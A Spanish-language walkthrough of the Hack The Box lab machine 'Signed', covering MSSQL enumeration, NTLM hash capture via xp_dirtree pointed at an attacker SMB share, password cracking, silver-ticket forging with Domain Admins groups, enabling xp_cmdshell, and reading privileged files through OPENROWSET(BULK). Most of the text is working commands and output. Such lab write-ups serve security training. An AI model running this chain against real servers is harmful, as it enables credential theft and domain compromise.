Descripción
Signed es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Escenario asumido de brecha con credenciales que lleva a la enumeración del servicio MSSQL
- Captura y crackeo del hash NTLM de la cuenta de servicio MSSQL para elevar los privilegios
- Escalada de privilegios mediante la capacidad de crear silver tickets y el uso de la consulta T-SQL
OPENROWSET(BULK)para leer archivos privilegiados
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.186.204.
$ ping -c 3 10.129.186.204
PING 10.129.186.204 (10.129.186.204) 56(84) bytes of data.
64 bytes from 10.129.186.204: icmp_seq=1 ttl=127 time=46.8 ms
64 bytes from 10.129.186.204: icmp_seq=2 ttl=127 time=46.3 ms
64 bytes from 10.129.186.204: icmp_seq=3 ttl=127 time=47.6 ms
--- 10.129.186.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.278/46.878/47.605/0.549 ms
La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto), podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.129.186.204 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
1433/tcp open ms-sql-s
Nmap done: 1 IP address (1 host up) scanned in 197.92 seconds
Solo encontramos el puerto 1433 abierto.
Enumeración
Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.129.186.204 -Pn -sV -sC -p1433 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.186.204:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.186.204:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds
Solo encontramos el servicio Microsoft SQL Server en ejecución en el servidor. Tenemos las credenciales del usuario scott, Sm230#C5NatH, como parte de un escenario asumido de brecha. Lo verificamos.
$ netexec mssql 10.129.186.204 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL 10.129.186.204 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.186.204 1433 DC01 [+] DC01\scott:Sm230#C5NatH
La credencial es correcta. Añadimos el host a nuestro archivo local /etc/hosts.
$ echo "10.129.186.204 signed.htb" | sudo tee -a /etc/hosts
Podemos comenzar enumerando el servidor usando la herramienta impacket-mssqlclient.
$ impacket-mssqlclient 'scott:Sm230#C5NatH'@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
SQL (scott guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
----- --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
scott SQL_LOGIN 0 0 0 0 0 0 0 0 0
SQL (scott guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
No encontramos nada de valor en esta salida. Encontramos que el comando xp_dirtree está funcionando, aunque no nos está dando salida, no falla debido a problemas de permisos.
SQL (scott guest@master)> xp_dirtree /
subdirectory depth file
------------ ----- ----
Explotación
Vamos a crear un servidor SMB con la herramienta impacket-smbserver para intentar capturar hashes NTLM del servidor Microsoft SQL.
$ impacket-smbserver -smb2support share .
Ahora ejecutamos el comando xp_dirtree apuntando a nuestro nuevo servidor SMB creado.
SQL (scott guest@master)> xp_dirtree \\10.10.14.82\a
Obtenemos el hash para la cuenta de servicio DC01\mssqlsvc de MSSQL.
$ impacket-smbserver -smb2support share .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.186.204,55052)
[*] AUTHENTICATE_MESSAGE (SIGNED\mssqlsvc,DC01)
[*] User DC01\mssqlsvc authenticated successfully
[*] mssqlsvc::SIGNED:aaaaaaaaaaaaaaaa:934ddbca048e69cf10195c12f5d3ef4e:010100000000000000578476713bdc0109562d1a922bae360000000001001000570055007000750051005200490053000300100057005500700075005100520049005300020010006b006300580045006a00630070006b00040010006b006300580045006a00630070006b000700080000578476713bdc01060004000200000008003000300000000000000000000000003000009d3af032076cd6b1a72817613939a9804bd0f5f7702c3d870d54e360f6ed8c4f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380032000000000000000000
[*] Closing down connection (10.129.186.204,55052)
[*] Remaining connections []
Crackeamos usando John The Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)
1g 0:00:00:02 DONE 0.4784g/s 2147Kp/s 2147Kc/s 2147KC/s purtynread..punociudad
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para la cuenta de servicio mssqlsvc purPLE9795!@. Ahora, como tenemos acceso a una cuenta de servicio, tenemos la capacidad de forjar silver tickets con parámetros personalizados, lo cual puede llevar a una escalada de privilegios. Primero vamos a abrir una terminal MSSQL para obtener el SID de la cuenta de servicio (y el SID del servidor).
$ impacket-mssqlclient 'mssqlsvc:purPLE9795!@'@signed.htb -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0
Encontramos que existe un grupo de Windows con permiso sysadmin, SIGNED\IT. Este permiso nos permitirá ejecutar comandos en la máquina. Obtenemos los SIDs para mssqlvsc, SIGNED\IT y SIGNED\Domain Admins.
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\IT');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\Domain Admins');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'
MSSQL devuelve los SIDs en formato binario, necesitamos convertirlos al formato común. Para ello utilizaremos un script en Python, sid_parser.py.
#!/usr/bin/env python3
import sys
def parse_sid(hex_str):
data = bytes.fromhex(hex_str)
revision = data[0]
sub_auth_count = data[1]
identifier_auth = int.from_bytes(data[2:8], 'big')
sub_auths = [int.from_bytes(data[8+i*4:12+i*4], 'little') for i in range(sub_auth_count)]
sid_str = f"S-{revision}-{identifier_auth}-" + '-'.join(str(x) for x in sub_auths)
return sid_str
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: ./sid_parser.py <SID_hex_without_0x>")
print("Example: ./sid_parser.py 0105000000000005150000008C9D2C7A0A9B5F01")
sys.exit(1)
hex_input = sys.argv[1]
try:
print(parse_sid(hex_input))
except Exception as e:
print(f"Error parsing SID: {e}")
sys.exit(1)
Lo usamos.
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000
S-1-5-21-4088429403-1159899800-2753317549-1103
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105
$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000
S-1-5-21-4088429403-1159899800-2753317549-512
Obtenemos la parte común del SID del dominio S-1-5-21-4088429403-1159899800-2753317549, el ID del usuario mssqlsvc, 1103, el ID del grupo IT, 1105 y el ID del grupo Domain Admins, 512. Para forjar el ticket de plata necesitamos convertir la contraseña de la cuenta de servicio a un hash NT (RC4). Podemos usar el siguiente comando.
$ printf '%s' 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p | tr '[:lower:]' '[:upper:]'
EF699384C3285C54128A3EE1DDB1A0CC
Obtuvimos el hash NT EF699384C3285C54128A3EE1DDB1A0CC. Ahora podemos forjar el ticket para suplantar que somos parte del grupo IT, para obtener la capacidad de ejecutar comandos remotos.
$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -groups 1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
Ahora podemos iniciar sesión utilizando la autenticación Kerberos con el ticket que generamos. Y podemos habilitar la opción enable_xp_cmdshell que nos permitirá ejecutar comandos.
$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
...
SQL (SIGNED\Administrator dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
...
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell whoami
output
---------------
signed\mssqlsvc
NULL
Post-Explotación
Ahora podemos ejecutar comandos como el usuario mssqlsvc, pero si forjamos un ticket de Administrator, no podremos ejecutar comandos como administrador, ya que los comandos ejecutados desde la xp_cmdshell se ejecutan en un contexto diferente. En Transact-SQL, existe la función OPENROWSET. La función OPENROWSET lee datos de uno o varios archivos y devuelve el contenido como un conjunto de filas. OPENROWSET(BULK) está diseñado para leer datos de archivos de datos externos.
Para leer archivos privilegiados necesitamos pertenecer a un grupo privilegiado, como Domain Admins. Como tenemos la capacidad de forjar tickets de plata, podemos generar uno nuevo para pertenecer a los grupos IT (1105) y Domain Admins (512). También necesitamos especificar el ID de usuario para el usuario al que se creará el ticket (1103), ya que por defecto se llena con el valor 500.
$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -user-id 1103 -groups 512,1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
Ahora podemos volver a iniciar sesión para leer archivos privilegiados.
$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;
BulkColumn
-------------------------------------------------------------------------------------------------------------
b'; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n'
Flags
En este contexto, podemos recuperar las flags user.txt y root.txt.
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS Contents;
BulkColumn
---------------------------------------
b'<REDACTED>\r\n'
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn
---------------------------------------
b'<REDACTED>\r\n'